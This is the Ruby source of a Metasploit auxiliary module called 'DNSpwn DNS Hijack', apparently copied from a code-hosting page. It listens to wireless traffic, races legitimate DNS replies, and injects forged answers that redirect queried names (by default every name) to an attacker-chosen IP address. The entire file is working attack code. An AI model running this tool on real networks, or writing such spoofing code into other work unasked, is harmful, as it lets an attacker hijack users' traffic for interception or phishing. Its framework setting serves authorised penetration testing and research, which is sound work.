123 lines
3.4 KiB
Ruby
123 lines
3.4 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'yaml'
|
|
require 'net/dns/packet'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Capture
|
|
include Msf::Exploit::Lorcon2
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'DNSpwn DNS Hijack',
|
|
'Description' => %q{
|
|
Race DNS responses and replace DNS queries
|
|
},
|
|
'Author' => ['dragorn'],
|
|
'License' => MSF_LICENSE
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptPath.new('DNSLIST', [ false, "YAML file of DNS entries for replacement",
|
|
File.join(Msf::Config.install_root, "data", "exploits", "wifi", "dnspwn", "dnslist.yml")
|
|
]),
|
|
OptBool.new('USEDNSFILE', [ true, "Use dns list file for response", "false"]),
|
|
OptString.new('FILTER', [ true, "Default BPF filter", "port 53"]),
|
|
OptString.new('IP', [ true, "IP for host resolution", "1.2.3.4" ]),
|
|
OptString.new('DURATION', [ true, "Duration of spoofed IP record", "99999" ]),
|
|
OptString.new('MATCH', [ true, "Match for DNS name replacement", "(.*)"]),
|
|
], self.class)
|
|
end
|
|
|
|
def run
|
|
|
|
@dnslist = datastore['DNSLIST']
|
|
@regex = datastore['MATCH']
|
|
@response = datastore['IP']
|
|
@filter = datastore['FILTER']
|
|
@duration = datastore['DURATION']
|
|
@useyaml = datastore['USEDNSFILE']
|
|
|
|
@dns = []
|
|
|
|
if @useyaml
|
|
begin
|
|
@dns = YAML::load_file(@dnslist)
|
|
rescue ::Exception => e
|
|
print_error "DNSPWN: failed to parse YAML file, #{e.class} #{e} #{e.backtrace}"
|
|
end
|
|
else
|
|
@dns[0] = { "regex" => @regex, "response" => @response, "duration" => @duration }
|
|
end
|
|
|
|
@run = true
|
|
|
|
open_wifi
|
|
|
|
self.wifi.filter = @filter if not @filter.empty?
|
|
each_packet do |pkt|
|
|
d3 = pkt.dot3
|
|
|
|
next if not d3
|
|
p = PacketFu::Packet.parse(d3) rescue nil
|
|
next unless p.is_udp?
|
|
|
|
dns = Net::DNS::Packet::parse(p.payload) rescue nil
|
|
next unless dns
|
|
|
|
next if dns.answer.size != 0
|
|
next if dns.question.size == 0
|
|
|
|
@dns.each do |r|
|
|
hit = nil
|
|
r['regex'].each do |reg|
|
|
hit = dns.question[0].qName.scan(/#{reg}/) || nil
|
|
break if hit.size != 0
|
|
end
|
|
next if hit.size.zero?
|
|
|
|
print_status("DNSPWN: %s -> %s req %s transaction id %u (response %s)" % [p.ip_saddr, p.ip_daddr, dns.header.id, r["response"] ])
|
|
|
|
injpkt = Lorcon::Packet.new()
|
|
injpkt.bssid = pkt.bssid
|
|
|
|
response_pkt = PacketFu::UDPPacket.new
|
|
response_pkt.eth_daddr = p.eth_saddr
|
|
response_pkt.eth_saddr = p.eth_daddr
|
|
response_pkt.ip_saddr = p.ip_daddr
|
|
response_pkt.ip_daddr = p.ip_saddr
|
|
response_pkt.ip_ttl = p.ip_ttl
|
|
response_pkt.udp_sport = p.udp_dport
|
|
response_pkt.udp_dport = p.udp_sport
|
|
|
|
dns.header.qr = 1
|
|
dns.answer = Net::DNS::RR::A.new("%s %s IN A %s", dns.question[0].qName, r["duration"], r["response"])
|
|
|
|
response_pkt.payload = dns.data
|
|
response_pkt.recalc
|
|
|
|
injpkt.dot3 = response_pkt.to_s
|
|
|
|
if (pkt.direction == Lorcon::Packet::LORCON_FROM_DS)
|
|
injpkt.direction = Lorcon::Packet::LORCON_TO_DS
|
|
elsif (pkt.direction == Lorcon::Packet::LORCON_TO_DS)
|
|
injpkt.direction = Lorcon::Packet::LORCON_FROM_DS
|
|
else
|
|
injpkt.direction = Lorcon::Packet::LORCON_ADHOC_DS
|
|
end
|
|
|
|
self.wifi.inject(injpkt) or print_error("DNSPWN failed to inject packet: " + tx.error)
|
|
end
|
|
end
|
|
end
|
|
end
|